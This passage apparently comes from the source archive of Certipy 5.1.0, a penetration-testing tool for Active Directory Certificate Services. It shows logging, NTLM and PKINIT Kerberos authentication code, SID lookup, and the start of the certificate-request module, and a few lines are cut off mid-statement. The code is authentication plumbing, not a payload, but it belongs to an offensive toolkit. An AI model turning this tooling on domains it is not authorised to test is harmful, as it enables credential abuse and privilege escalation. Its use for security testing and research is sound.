for consistent log output across the Certipy application.
"""
import logging as _logging
import sys
from typing import Dict
# from impacket.examples import logger as _impacket_logger
_IS_VERBOSE = False # Flag to control verbosity of logging output
def set_verbose(is_verbose: bool) -> None:
"""
Set the verbosity level for logging.
Args:
is_verbose: Boolean indicating whether to enable verbose logging
"""
global _IS_VERBOSE
_IS_VERBOSE = is_verbose # type: ignore
def is_verbose() -> bool:
"""
Check if verbose logging is enabled.
Returns:
Boolean indicating whether verbose logging is enabled
"""
return _IS_VERBOSE
# Bullet point mapping for different log levels
BULLET_POINTS: Dict[int, str] = {
_logging.INFO: "[*]",
_logging.DEBUG: "[+]",
_logging.WARNING: "[!]",
_logging.ERROR: "[-]",
_logging.CRITICAL: "[-]",
}
class Formatter(_logging.Formatter):
"""
Custom formatter that adds bullet-point indicators based on log level.
Formats log messages with the following bullet points:
- INFO: [*] - Informational messages about normal operation
- DEBUG: [+] - Detailed debugging information
- WARNING: [!] - Warning about potential issues
- ERROR: [-] - Error conditions preventing normal operation
- CRITICAL:[-] - Critical failure requiring immediate attention
"""
def __init__(self) -> None:
"""
Initialize the formatter with a simple format string.
The format uses a custom 'bullet' attribute added during formatting.
"""
super().__init__("%(bullet)s %(message)s")
def format(self, record: _logging.LogRecord) -> str:
"""
Format the log record by adding an appropriate bullet point.
Args:
record: The log record to format
Returns:
Formatted log message with bullet point prefix
"""
# Add bullet point based on log level, defaulting to "[-]" for unknown levels
record.bullet = BULLET_POINTS.get(record.levelno, "[-]")
# Call parent formatter to apply the format string
return super().format(record)
def init(
level: int = _logging.INFO, logger_name: str = "certipy", propagate: bool = False
) -> None:
"""
Initialize the Certipy logger with the appropriate formatter.
Args:
level: Log level to set (default: INFO)
logger_name: Name of the logger to configure (default: "certipy")
propagate: Whether to propagate logs to parent loggers (default: False)
Note:
This function configures a logger that:
- Outputs to stdout with bullet-point prefixed messages
- Has the specified log level (INFO by default)
- Can be isolated from parent loggers (default behavior)
Example:
# Standard initialization
init()
# Initialize with debug level
init(level=logging.DEBUG)
"""
# Create stdout handler
handler = _logging.StreamHandler(sys.stdout)
# Apply the custom formatter
handler.setFormatter(Formatter())
# Configure the logger
logger = _logging.getLogger(logger_name)
# Remove existing handlers if any (to avoid duplicates on re-initialization)
if logger.handlers:
logger.handlers.clear()
# Add the new handler
logger.addHandler(handler)
logger.setLevel(level)
logger.propagate = propagate
# Create and export the logger instance for direct import
logging = _logging.getLogger("certipy")
Certipy-5.1.0/certipy/lib/ntlm.py 0000664 0000000 0000000 00000045021 15216574665 0016730 0 ustar 00root root 0000000 0000000 import base64
import calendar
import random
import string
import struct
import time
from typing import Generator, Optional, Tuple, cast
import httpx
from Cryptodome.Cipher import ARC4
from impacket.ntlm import (
AV_PAIRS,
KXKEY,
MAC,
NTLMSSP_AV_DNS_HOSTNAME,
NTLMSSP_AV_TARGET_NAME,
NTLMSSP_AV_TIME,
NTLMSSP_NEGOTIATE_56,
NTLMSSP_NEGOTIATE_128,
NTLMSSP_NEGOTIATE_ALWAYS_SIGN,
NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY,
NTLMSSP_NEGOTIATE_KEY_EXCH,
NTLMSSP_NEGOTIATE_NTLM,
NTLMSSP_NEGOTIATE_SEAL,
NTLMSSP_NEGOTIATE_SIGN,
NTLMSSP_NEGOTIATE_TARGET_INFO,
NTLMSSP_NEGOTIATE_UNICODE,
NTLMSSP_NEGOTIATE_VERSION,
NTLMSSP_REQUEST_TARGET,
SEAL,
SEALKEY,
SIGNKEY,
NTLMAuthChallenge,
NTLMAuthChallengeResponse,
NTLMAuthNegotiate,
NTLMMessageSignature,
NTOWFv2,
generateEncryptedSessionKey,
hmac_md5,
)
from impacket.spnego import SPNEGO_NegTokenResp
from certipy.lib.channel_binding import get_channel_binding_data_from_response
from certipy.lib.http import get_authentication_method
from certipy.lib.logger import logging
from certipy.lib.target import Target
# Constants
NTLMSSP_AV_CHANNEL_BINDINGS = 0x0A
DEFAULT_USER_AGENT = "Certipy"
DEFAULT_SERVICE = "HTTP"
def compute_response(
server_challenge: bytes,
client_challenge: bytes,
target_info: bytes,
domain: str,
user: str,
password: str,
nt_hash: str = "",
channel_binding_data: Optional[bytes] = None,
service: str = "HOST",
) -> Tuple[bytes, bytes, bytes, bytes]:
"""
Compute NTLMv2 response based on the provided parameters.
Args:
server_challenge: Challenge received from the server
client_challenge: Client-generated random challenge
target_info: Target information provided by the server
domain: Domain name for authentication
user: Username for authentication
password: Password for authentication
nt_hash: NT hash if available, otherwise password will be used
channel_binding_data: Channel binding data for EPA compliance
service: Service name for the SPN
Returns:
Tuple containing:
- NT challenge response
- LM challenge response
- Session base key
- Target hostname
Raises:
ValueError: If target information is missing DNS hostname
"""
# Generate response key
response_key_nt = NTOWFv2(user, password, domain, bytes.fromhex(nt_hash) if nt_hash else "") # type: ignore
av_pairs = AV_PAIRS(target_info)
# Add SPN (target name)
if av_pairs[NTLMSSP_AV_DNS_HOSTNAME] is None:
raise ValueError("NTLMSSP_AV_DNS_HOSTNAME not found in target info")
hostname = cast(Tuple[int, bytes], av_pairs[NTLMSSP_AV_DNS_HOSTNAME])[1]
spn = f"{service}/".encode("utf-16le") + hostname
av_pairs[NTLMSSP_AV_TARGET_NAME] = spn
# Add timestamp if not already present
if av_pairs[NTLMSSP_AV_TIME] is None:
timestamp = struct.pack(
" NTLMAuthNegotiate:
"""
Generate an NTLMSSP Type 1 negotiation message.
Args:
signing_required: Whether signing is required for the connection
use_ntlmv2: Whether to use NTLMv2 (should be True for modern systems)
version: OS version to include in the message
Returns:
NTLMAuthNegotiate object representing the Type 1 message
"""
# Create base negotiate message with standard flags
auth = NTLMAuthNegotiate()
auth["flags"] = (
NTLMSSP_NEGOTIATE_NTLM
| NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
| NTLMSSP_NEGOTIATE_UNICODE
| NTLMSSP_REQUEST_TARGET
| NTLMSSP_NEGOTIATE_128
| NTLMSSP_NEGOTIATE_56
)
# Add security flags if signing is required
if signing_required:
auth["flags"] |= (
NTLMSSP_NEGOTIATE_KEY_EXCH
| NTLMSSP_NEGOTIATE_SIGN
| NTLMSSP_NEGOTIATE_ALWAYS_SIGN
| NTLMSSP_NEGOTIATE_SEAL
)
# Add NTLMv2 target info flag
if use_ntlmv2:
auth["flags"] |= NTLMSSP_NEGOTIATE_TARGET_INFO
# Add version if specified
if version:
auth["flags"] |= NTLMSSP_NEGOTIATE_VERSION
auth["os_version"] = version
return auth
def ntlm_authenticate(
type1: NTLMAuthNegotiate,
challenge: NTLMAuthChallenge,
user: str,
password: str,
domain: str,
nt_hash: str = "",
channel_binding_data: Optional[bytes] = None,
service: str = "HOST",
version: Optional[bytes] = None,
) -> Tuple[NTLMAuthChallengeResponse, bytes, int]:
"""
Generate an NTLMSSP Type 3 authentication message in response to a server challenge.
Args:
type1: The Type 1 negotiate message that was sent
challenge: The Type 2 challenge message received from the server
user: Username for authentication
password: Password for authentication
domain: Domain name for authentication
nt_hash: NT hash if available, otherwise password will be used
channel_binding_data: Channel binding data for EPA compliance
service: Service name for the SPN
version: OS version to include in the message
Returns:
Tuple containing:
- NTLMAuthChallengeResponse object (Type 3 message)
- Exported session key for further operations
- Negotiated flags
"""
# Get response flags from the initial negotiate message
response_flags = type1["flags"]
# Generate client challenge (8 random bytes)
client_challenge = struct.pack(" Generator[httpx.Request, httpx.Response, None]:
"""
Implement the authentication flow for HTTPX.
This generator handles the NTLM authentication protocol flow by:
1. Sending the initial request
2. If authentication is required, starting the NTLM flow
3. Completing the NTLM handshake
Args:
request: The HTTPX request to authenticate
Yields:
Modified requests with appropriate authentication headers
Raises:
ValueError: If authentication fails or server responses are invalid
"""
# Set connection to keep-alive to maintain the authentication state
request.headers["Connection"] = "Keep-Alive"
# Send the initial request
response = yield request
# If server requires authentication, proceed with the NTLM flow
if response.status_code in (401, 407):
yield from self.retry_with_auth(request, response)
def retry_with_auth(
self, request: httpx.Request, response: httpx.Response
) -> Generator[httpx.Request, httpx.Response, None]:
"""
Retry the request with NTLM authentication.
Implements the complete NTLM authentication flow:
1. Send Type 1 (Negotiate) message
2. Process Type 2 (Challenge) message from server
3. Send Type 3 (Authenticate) message
Args:
request: The original HTTPX request
response: The HTTPX response requiring authentication
Yields:
Modified requests with appropriate authentication headers
Raises:
ValueError: If authentication fails or server responses are invalid
"""
# Determine header names based on status code (proxy vs direct)
is_proxy_auth = response.status_code == 407
authenticate_header_name = (
"Proxy-Authenticate" if is_proxy_auth else "WWW-Authenticate"
)
authorization_header_name = (
"Proxy-Authorization" if is_proxy_auth else "Authorization"
)
# Check if server sent authentication challenge
authenticate_header = response.headers.get(authenticate_header_name)
if authenticate_header is None:
raise ValueError("No authentication challenge returned from server")
# Step 1: Generate Type 1 (Negotiate) message
type1 = ntlm_negotiate()
# Get the authentication method (NTLM, Negotiate, etc.)
authentication_method = get_authentication_method(authenticate_header)
# Encode Type 1 message
auth = base64.b64encode(type1.getData()).decode()
# Add Type 1 message to request header
request.headers[authorization_header_name] = f"{authentication_method} {auth}"
# Send request with Type 1 message
response = yield request
# Handle cookies if present
if response.headers.get("Set-Cookie") is not None:
request.headers["Cookie"] = response.headers["Set-Cookie"]
# Get Type 2 (Challenge) message from server
authenticate_header = response.headers.get(authenticate_header_name)
if authenticate_header is None:
raise ValueError("No authentication challenge returned from server")
# Extract the server challenge from the authentication header
try:
# Find the challenge portion of the header
server_challenge_base64 = next(
s.strip()[len(authentication_method) :]
for s in (val.lstrip() for val in authenticate_header.split(","))
if s.startswith(authentication_method)
).strip()
except Exception:
raise ValueError(
f"Failed to parse authentication header: {authenticate_header!r}"
)
# Decode the challenge
try:
server_challenge = base64.b64decode(server_challenge_base64)
except Exception as e:
raise ValueError(
f"Failed to decode server challenge: {authenticate_header!r} - {e}"
)
# Check if challenge is wrapped in SPNEGO
if (
server_challenge
and struct.unpack("B", server_challenge[:1])[0]
== SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP
):
resp = SPNEGO_NegTokenResp(server_challenge)
type2 = resp["ResponseToken"]
else:
type2 = server_challenge
if not type2:
# This means that the server is not using NTLM
# and we should not continue with NTLM authentication
logging.debug(
"Server did not return a valid NTLM challenge. The server may have disabled NTLM authentication."
)
raise NtlmNotSupportedError("Server did not return a valid NTLM challenge.")
# Parse Type 2 message
challenge = NTLMAuthChallenge()
try:
challenge.fromString(type2)
except Exception as e:
raise ValueError(
f"Failed to parse server challenge: {authenticate_header!r} - {e}"
)
# Get channel binding data if enabled
channel_binding_data: Optional[bytes] = None
if self.channel_binding:
channel_binding_data = get_channel_binding_data_from_response(response)
# Step 3: Generate Type 3 (Authentication) message
type3, _, _ = ntlm_authenticate(
type1,
challenge,
self.target.username,
self.target.password or "",
self.target.domain,
self.target.nthash,
channel_binding_data=channel_binding_data,
service=self.service,
)
# Encode and add Type 3 message to request
auth = base64.b64encode(type3.getData()).decode()
request.headers[authorization_header_name] = f"{authentication_method} {auth}"
# Send authenticated request
yield request
class NTLMCipher:
def __init__(self, flags: int, session_key: bytes):
self.flags = flags
# Same key for everything
self.client_sign_key = session_key
self.server_sign_key = session_key
self.client_seal_key = session_key
self.client_seal_key = session_key
cipher = ARC4.new(self.client_sign_key)
self.client_seal = cipher.encrypt
self.server_seal = cipher.encrypt
if self.flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
self.client_sign_key = cast(bytes, SIGNKEY(self.flags, session_key))
self.server_sign_key = cast(
bytes, SIGNKEY(self.flags, session_key, "Server")
)
self.client_seal_key = SEALKEY(self.flags, session_key)
self.server_seal_key = SEALKEY(self.flags, session_key, "Server")
client_cipher = ARC4.new(self.client_seal_key)
self.client_seal = client_cipher.encrypt
server_cipher = ARC4.new(self.server_seal_key)
self.server_seal = server_cipher.encrypt
self.sequence = 0
def encrypt(self, plain_data: bytes) -> Tuple[NTLMMessageSignature, bytes]:
message, signature = SEAL(
self.flags,
self.client_sign_key,
self.client_seal_key,
plain_data,
plain_data,
self.sequence,
self.client_seal,
)
self.sequence += 1
return signature, message
def decrypt(self, answer: bytes) -> Tuple[NTLMMessageSignature, bytes]:
answer, signature = SEAL(
self.flags,
self.server_sign_key,
self.server_seal_key,
answer[:16],
answer[16:],
self.sequence,
self.server_seal,
)
return signature, answer
def sign(self, data: bytes, seq: int = 0, reset_cipher: bool = False):
signature = MAC(self.flags, self.client_seal, self.client_sign_key, seq, data)
if reset_cipher:
if self.flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
client_cipher = ARC4.new(self.client_seal_key)
self.client_seal = client_cipher.encrypt
server_cipher = ARC4.new(self.server_seal_key)
self.server_seal = server_cipher.encrypt
else:
cipher = ARC4.new(self.client_sign_key)
self.client_seal = cipher.encrypt
self.server_seal = cipher.encrypt
self.sequence += 1
return signature
Certipy-5.1.0/certipy/lib/pkinit.py 0000775 0000000 0000000 00000023242 15216574665 0017260 0 ustar 00root root 0000000 0000000 """
PKINIT implementation for Kerberos authentication.
This module provides functionality for Public Key Cryptography for Initial Authentication
in Kerberos (PKINIT), allowing certificate-based authentication to Kerberos services.
It implements:
- Certificate signing and verification
- Diffie-Hellman key exchange
- Authentication request generation
References:
- RFC 4556: PKINIT specification
- MS-PKCA: Public Key Cryptography for Initial Authentication
"""
import datetime
import os
from random import getrandbits
from typing import Dict, Tuple, Union
from asn1crypto import algos as asn1algos
from asn1crypto import cms as asn1cms
from asn1crypto import keys as asn1keys
from asn1crypto import x509 as asn1x509
from impacket.krb5 import constants
from certipy.lib.certificate import (
cert_to_der,
hash_digest,
hashes,
rsa,
rsa_pkcs1v15_sign,
x509,
)
from certipy.lib.structs import (
AsReq,
AuthPack,
EncType,
KDCOptions,
KdcReqBody,
NameType,
PaPacRequest,
PaPkAsReq,
PKAuthenticator,
PrincipalName,
e2i,
)
# =========================================================================
# Constants and Defaults
# =========================================================================
# Well-Known Group 2: A 1024-bit prime
# Source: https://datatracker.ietf.org/doc/html/rfc2412#appendix-E.2
DH_PARAMS = {
"p": int(
(
"00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea6"
"3b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e4"
"85b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b"
"1fe649286651ece65381ffffffffffffffff"
),
16,
),
"g": 2,
}
# OIDs used in PKINIT
PKINIT_OID = "1.3.6.1.5.2.3.1"
CMS_SIGNED_DATA_OID = "1.2.840.113549.1.7.2"
DH_KEY_AGREEMENT_OID = "1.2.840.10046.2.1"
# =========================================================================
# Diffie-Hellman Implementation
# =========================================================================
class DirtyDH:
"""
Lightweight Diffie-Hellman key exchange implementation.
This class supports:
- Creating DH parameters from various sources
- Generating public keys
- Computing shared secrets
"""
def __init__(self, p: int, g: int):
"""Initialize a new DH instance with random private key."""
self.p = p
self.g = g
self.private_key = os.urandom(32)
self.private_key_int = int.from_bytes(self.private_key, byteorder="big")
self.dh_nonce = os.urandom(32)
@staticmethod
def from_dict(dhp: Dict[str, int]) -> "DirtyDH":
"""
Create a DH instance from a dictionary of parameters.
Args:
dhp: Dictionary containing 'p' and 'g' keys
Returns:
Configured DH instance
"""
dd = DirtyDH(dhp["p"], dhp["g"])
return dd
def get_public_key(self) -> int:
"""
Calculate the public key.
Returns:
Public key value (g^x mod p)
Raises:
ValueError: If p and g are not set
"""
# y = g^x mod p
return pow(self.g, self.private_key_int, self.p)
def exchange(self, peer_public_key: int) -> bytes:
"""
Perform key exchange with peer's public key.
Args:
peer_public_key: Peer's public key value
Returns:
The shared secret as bytes
"""
shared_key_int = pow(peer_public_key, self.private_key_int, self.p)
# Convert to bytes, ensuring even length
hex_key = hex(shared_key_int)[2:]
if len(hex_key) % 2 != 0:
hex_key = "0" + hex_key
shared_key = bytes.fromhex(hex_key)
return shared_key
# =========================================================================
# PKINIT Functions
# =========================================================================
def sign_authpack(
data: bytes,
key: rsa.RSAPrivateKey,
cert: Union[x509.Certificate, asn1x509.Certificate],
) -> bytes:
"""
Create a signed CMS structure containing the AuthPack.
Args:
data: The AuthPack data to sign
key: RSA private key for signing
cert: Certificate to include in the signed data
Returns:
ASN.1 DER encoded CMS signed data
"""
# Convert certificate to asn1crypto format if needed
if isinstance(cert, x509.Certificate):
cert = asn1x509.Certificate.load(cert_to_der(cert))
# Create digest algorithm identifier for SHA-1
digest_algorithm = {"algorithm": asn1algos.DigestAlgorithmId("sha1")}
# Create signer info
signer_info = {
"version": "v1",
"sid": asn1cms.IssuerAndSerialNumber(
{
"issuer": cert.issuer,
"serial_number": cert.serial_number,
}
),
"digest_algorithm": asn1algos.DigestAlgorithm(digest_algorithm),
"signed_attrs": [
asn1cms.CMSAttribute({"type": "content_type", "values": [PKINIT_OID]}),
asn1cms.CMSAttribute(
{"type": "message_digest", "values": [hash_digest(data, hashes.SHA1)]}
),
],
"signature_algorithm": asn1algos.SignedDigestAlgorithm(
{"algorithm": "sha1_rsa"}
),
"signature": bytes(),
}
# Create the signature
signer_info["signature"] = rsa_pkcs1v15_sign(
asn1cms.CMSAttributes(signer_info["signed_attrs"]).dump(),
key,
hash_algorithm=hashes.SHA1,
)
# Create encapsulated content info
encapsulated_content_info = {"content_type": PKINIT_OID, "content": data}
# Create the signed data structure
signed_data = {
"version": "v3",
"digest_algorithms": [asn1algos.DigestAlgorithm(digest_algorithm)],
"encap_content_info": asn1cms.EncapsulatedContentInfo(
encapsulated_content_info
),
"certificates": [cert],
"signer_infos": asn1cms.SignerInfos([asn1cms.SignerInfo(signer_info)]),
}
# Create the content info wrapper
content_info = {
"content_type": CMS_SIGNED_DATA_OID,
"content": asn1cms.SignedData(signed_data),
}
# Return DER-encoded ContentInfo
return asn1cms.ContentInfo(content_info).dump()
def build_pkinit_as_req(
username: str, domain: str, key: rsa.RSAPrivateKey, cert: x509.Certificate
) -> Tuple[bytes, DirtyDH]:
"""
Build a PKINIT AS-REQ message.
Args:
username: Client username
domain: Domain/realm name
key: RSA private key for signing
cert: Client certificate
Returns:
A tuple containing:
- The encoded AS-REQ message
- The DirtyDH object for later key exchange
"""
# Get current time
now = datetime.datetime.now(datetime.timezone.utc)
# Build KDC-REQ-BODY
kdc_req_body_data = {
"kdc-options": KDCOptions({"forwardable", "renewable", "renewable-ok"}),
"cname": PrincipalName(
{"name-type": NameType.PRINCIPAL, "name-string": [username]}
),
"realm": domain.upper(),
"sname": PrincipalName(
{
"name-type": NameType.SRV_INST,
"name-string": ["krbtgt", domain.upper()],
}
),
"till": (now + datetime.timedelta(days=1)).replace(microsecond=0),
"rtime": (now + datetime.timedelta(days=1)).replace(microsecond=0),
"nonce": getrandbits(31),
"etype": [EncType.AES256, EncType.AES128], # Prefer stronger ciphers
}
kdc_req_body = KdcReqBody(kdc_req_body_data)
# Calculate checksum of the KDC-REQ-BODY
checksum = hash_digest(kdc_req_body.dump(), hashes.SHA1)
# Build PKAuthenticator
authenticator = {
"cusec": now.microsecond,
"ctime": now.replace(microsecond=0),
"nonce": getrandbits(31),
"paChecksum": checksum,
}
# Set up Diffie-Hellman
diffie = DirtyDH.from_dict(DH_PARAMS)
# Create DH domain parameters structure
dh_params = {
"p": diffie.p,
"g": diffie.g,
"q": 0, # Not used but required by some implementations
}
# Create public key algorithm identifier for DH
public_key_algorithm = {
"algorithm": DH_KEY_AGREEMENT_OID,
"parameters": asn1keys.DomainParameters(dh_params),
}
# Create subject public key info structure
subject_public_key_info = {
"algorithm": asn1keys.PublicKeyAlgorithm(public_key_algorithm),
"public_key": diffie.get_public_key(),
}
# Build AuthPack
authpack_data = {
"pkAuthenticator": PKAuthenticator(authenticator),
"clientPublicValue": asn1keys.PublicKeyInfo(subject_public_key_info),
"clientDHNonce": diffie.dh_nonce,
}
# Encode and sign the AuthPack
authpack = AuthPack(authpack_data)
signed_authpack = sign_authpack(authpack.dump(), key, cert)
# Build PA-PK-AS-REQ
pa_pk_as_req = PaPkAsReq()
pa_pk_as_req["signedAuthPack"] = signed_authpack
# Prepare PA-DATA entries
# PA-PAC-REQUEST to request a PAC
pa_data_pac = {
"padata-type": e2i(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST),
"padata-value": PaPacRequest({"include-pac": True}).dump(),
}
# PA-PK-AS-REQ for PKINIT
pa_data_pk = {
"padata-type": e2i(constants.PreAuthenticationDataTypes.PA_PK_AS_REQ),
"padata-value": pa_pk_as_req.dump(),
}
# Build AS-REQ
asreq = {
"pvno": 5, # Kerberos version 5
"msg-type": 10, # AS-REQ
"padata": [pa_data_pac, pa_data_pk],
"req-body": kdc_req_body,
}
# Return the encoded AS-REQ and the Diffie-Hellman object
return AsReq(asreq).dump(), diffie
Certipy-5.1.0/certipy/lib/registry.py 0000664 0000000 0000000 00000014335 15216574665 0017632 0 ustar 00root root 0000000 0000000 """
Registry module for Certipy.
This module provides functionality for working with registry-like entries and connections
that can map between security identifiers (SIDs) and their corresponding objects.
It supports:
- Looking up well-known SIDs and RIDs
- Tracking user security identifiers
- Mapping between SIDs and friendly names
The primary classes are:
- RegEntry: Represents a registry-like entry with attributes
- RegConnection: Manages SID resolution and mapping
"""
from typing import Dict, List, Optional, Union
from certipy.lib.bloodhound import BloodHound, BloodHoundError
from certipy.lib.constants import WELLKNOWN_RIDS, WELLKNOWN_SIDS
from certipy.lib.ldap import LDAPEntry
class RegEntry(LDAPEntry):
"""
Registry entry class that extends LDAPEntry to provide registry-specific functionality.
This class represents an object in the registry with attributes similar to LDAP entries.
It handles data type conversions and provides attribute access methods.
"""
def __init__(self, *args, **kwargs) -> None: # type: ignore
"""
Initialize a registry entry.
Args:
**kwargs: Key-value pairs to initialize the entry with
"""
super().__init__(self, *args, **kwargs)
if "attributes" not in self:
self["attributes"] = {}
def get_raw(self, key: str) -> Union[bytes, List[bytes], None]:
"""
Get a raw (bytes) representation of an attribute value.
Args:
key: The attribute name to retrieve
Returns:
Raw data as bytes, list of bytes, or None if not found
Notes:
- String values are encoded to bytes
- List values have each item encoded to bytes
- Other values are returned as-is
"""
data = self.get(key)
if isinstance(data, str):
return data.encode()
elif isinstance(data, list):
return [x.encode() if isinstance(x, str) else x for x in data]
return data
class RegConnection:
"""
Registry connection class that manages SID mapping and resolution.
This class provides functionality to:
- Track user SIDs
- Look up SIDs to find corresponding objects
- Map between SIDs and their friendly names
"""
def __init__(
self,
domain: str,
sids: List[str],
scheme: str = "file",
bloodhound: Optional[BloodHound] = None,
) -> None:
"""
Initialize a registry connection.
Args:
domain: Domain name for the connection
sids: List of security identifiers to track
scheme: Connection scheme, defaults to "file"
"""
self.domain: str = domain
self.sids: List[str] = sids
self.sid_map: Dict[str, RegEntry] = {}
self.scheme: str = scheme
self.bloodhound: Optional[BloodHound] = bloodhound
def get_user_sids(
self,
_username: str,
_user_sid: Optional[str] = None,
_user_dn: Optional[str] = None,
) -> List[str]:
"""
Get user security identifiers.
Args:
_username: Username (not used in this implementation)
_user_sid: User's primary SID (not used in this implementation)
_user_dn: User's distinguished name (not used in this implementation)
Returns:
List of SIDs associated with this connection
Notes:
The parameters are kept for API compatibility but not used.
This implementation simply returns the SIDs provided at initialization.
"""
return self.sids
def lookup_sid(self, sid: str) -> RegEntry:
"""
Look up a security identifier and return corresponding registry entry.
Args:
sid: Security identifier to look up
Returns:
RegEntry object representing the SID
Notes:
- Checks cached entries first
- Then checks well-known SIDs
- Then checks well-known RIDs
- Finally creates a base entry if not found elsewhere
"""
# Check if we've already cached this SID
if sid in self.sid_map:
return self.sid_map[sid]
# Check well-known SIDs
if sid in WELLKNOWN_SIDS:
name, obj_type = WELLKNOWN_SIDS[sid]
entry = RegEntry(
**{
"attributes": {
"objectSid": f"{self.domain.upper()}-{sid}",
"objectType": obj_type.capitalize(),
"name": f"{self.domain}\\{name}",
}
}
)
self.sid_map[sid] = entry
return entry
# Check if this is a well-known RID
rid = sid.split("-")[-1]
if rid in WELLKNOWN_RIDS:
name, obj_type = WELLKNOWN_RIDS[rid]
entry = RegEntry(
**{
"attributes": {
"objectSid": f"{self.domain.upper()}-{sid}",
"objectType": obj_type.capitalize(),
"name": f"{self.domain}\\{name}",
}
}
)
self.sid_map[sid] = entry
return entry
if self.bloodhound:
try:
name, obj_type = self.bloodhound.lookup_sid(sid)
entry = RegEntry(
**{
"attributes": {
"objectSid": f"{self.domain.upper()}-{sid}",
"objectType": obj_type.capitalize(),
"name": f"{self.domain}\\{name}",
}
}
)
self.sid_map[sid] = entry
return entry
except BloodHoundError:
# Entry was not found
pass
# Create a generic entry for unknown SIDs
entry = RegEntry(
**{
"attributes": {
"objectSid": sid,
"name": sid,
"objectType": "Base",
}
}
)
# Cache this entry for future lookups
self.sid_map[sid] = entry
return entry
Certipy-5.1.0/certipy/lib/req.py 0000664 0000000 0000000 00000140543 15216574665 0016552 0 ustar 00root root 0000000 0000000 """
Certificate Request and Management Functions for Certipy
This module implements certificate request, retrieval, and management functionality for Certipy,
providing both RPC and web-based interactions with Active Directory Certificate Services (AD CS).
The module handles:
- Certificate request submission (RPC, DCOM and web enrollment)
- Certificate retrieval for both immediate and pending requests
- Certificate storage and management (saving as PFX or PEM)
- Error handling for various certificate operations
Key components:
1. Request Class - Main interface for all certificate operations
2. Request Interfaces - Protocol-specific implementations (RPC, DCOM, Web)
3. Response Handlers - Process responses from certificate services
4. Certificate Processing - Handle certificate data once received
5. Helper Functions - Utility functions for common operations
"""
import re
from typing import Any, Dict, List, Optional, Protocol, Tuple, Union
import httpx
from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes
from impacket.dcerpc.v5 import rpcrt
from impacket.dcerpc.v5.dcom.oaut import string_to_bin
from impacket.dcerpc.v5.dcomrt import DCOMANSWER, DCOMCALL, DCOMConnection, IRemUnknown2
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, NULL, PBYTE, ULONG
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.nrpc import checkNullString
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
from certipy.commands.ca import CA, ICertCustom
from certipy.lib.certificate import (
cert_id_to_parts,
cert_to_der,
cert_to_pem,
create_csr,
create_csr_attributes,
create_key_archival,
create_on_behalf_of,
create_pfx,
create_renewal,
csr_to_der,
csr_to_pem,
der_to_cert,
der_to_csr,
der_to_pem,
get_identities_from_certificate,
get_object_sid_from_certificate,
key_to_pem,
load_pfx,
pem_to_cert,
pem_to_key,
print_certificate_identities,
rsa,
x509,
)
from certipy.lib.constants import OID_TO_STR_NAME_MAP, USER_AGENT
from certipy.lib.errors import handle_error, translate_error_code
from certipy.lib.files import try_to_save_file
from certipy.lib.kerberos import HttpxKerberosAuth
from certipy.lib.logger import is_verbose, logging
from certipy.lib.ntlm import HttpxNtlmAuth
from certipy.lib.rpc import get_dce_rpc, get_dcom_connection
from certipy.lib.target import Target
# =========================================================================
# Constants and protocol UUIDs
# =========================================================================
# MS-ICPR protocol UUID
MSRPC_UUID_ICPR = uuidtup_to_bin(("91ae6020-9e3c-11cf-8d7c-00aa00c091be", "0.0"))
# DCOM interface identifiers
CLSID_ICertRequest = string_to_bin("D99E6E74-FC88-11D0-B498-00A0C90312F3")
IID_ICertRequestD = uuidtup_to_bin(("D99E6E70-FC88-11D0-B498-00A0C90312F3", "0.0"))
# Certificate disposition codes
DISPOSITION_SUCCESS = 3
DISPOSITION_PENDING = 5
# =========================================================================
# Protocol Structures for MS-WCCE and MS-ICPR
# =========================================================================
class CERTTRANSBLOB(NDRSTRUCT):
"""
ASN.1 structure for certificate data transfer.
Defined in [MS-WCCE] section 2.2.2.2
"""
structure = (
("cb", ULONG), # Size of the pb field
("pb", PBYTE), # Certificate data
)
class CertServerRequest(NDRCALL):
"""
RPC interface for certificate requests.
Defined in [MS-ICPR] section 3.1.4.1
"""
opnum = 0
structure = (
("dwFlags", DWORD), # Request flags
("pwszAuthority", LPWSTR), # CA name
("pdwRequestId", DWORD), # Request ID
("pctbAttribs", CERTTRANSBLOB), # Request attributes
("pctbRequest", CERTTRANSBLOB), # Certificate request data
)
class CertServerRequestD(DCOMCALL):
"""
DCOM interface for certificate requests.
Defined in [MS-WCCE] section 3.1.1.4.3
"""
opnum = 3
structure = (
("dwFlags", DWORD), # Request flags
("pwszAuthority", LPWSTR), # CA name
("pdwRequestId", DWORD), # Request ID
("pwszAttributes", LPWSTR), # Request attributes
("pctbRequest", CERTTRANSBLOB), # Certificate request data
)
class CertServerRequestResponse(NDRCALL):
"""
RPC response structure for certificate requests.
Defined in [MS-ICPR] section 3.1.4.1
"""
structure = (
("pdwRequestId", DWORD), # Request ID
("pdwDisposition", ULONG), # Request status
("pctbCert", CERTTRANSBLOB), # Certificate data
("pctbEncodedCert", CERTTRANSBLOB), # DER-encoded certificate
("pctbDispositionMessage", CERTTRANSBLOB), # Error message if applicable
)
class CertServerRequestDResponse(DCOMANSWER):
"""
DCOM response structure for certificate requests.
Defined in [MS-WCCE] section 3.1.1.4.3
"""
structure = (
("pdwRequestId", DWORD), # Request ID
("pdwDisposition", ULONG), # Request status
("pctbCertChain", CERTTRANSBLOB), # Certificate chain data
("pctbEncodedCert", CERTTRANSBLOB), # DER-encoded certificate
("pctbDispositionMessage", CERTTRANSBLOB), # Error message if applicable
)
class ICertRequestD(ICertCustom):
"""
ICertRequestD DCOM interface implementation.
"""
def __init__(self, interface: IRemUnknown2):
"""
Initialize the ICertRequestD interface.
Args:
interface: IRemUnknown2 interface from DCOM connection
"""
super().__init__(interface)
self._iid = IID_ICertRequestD
class DCERPCSessionError(rpcrt.DCERPCException):
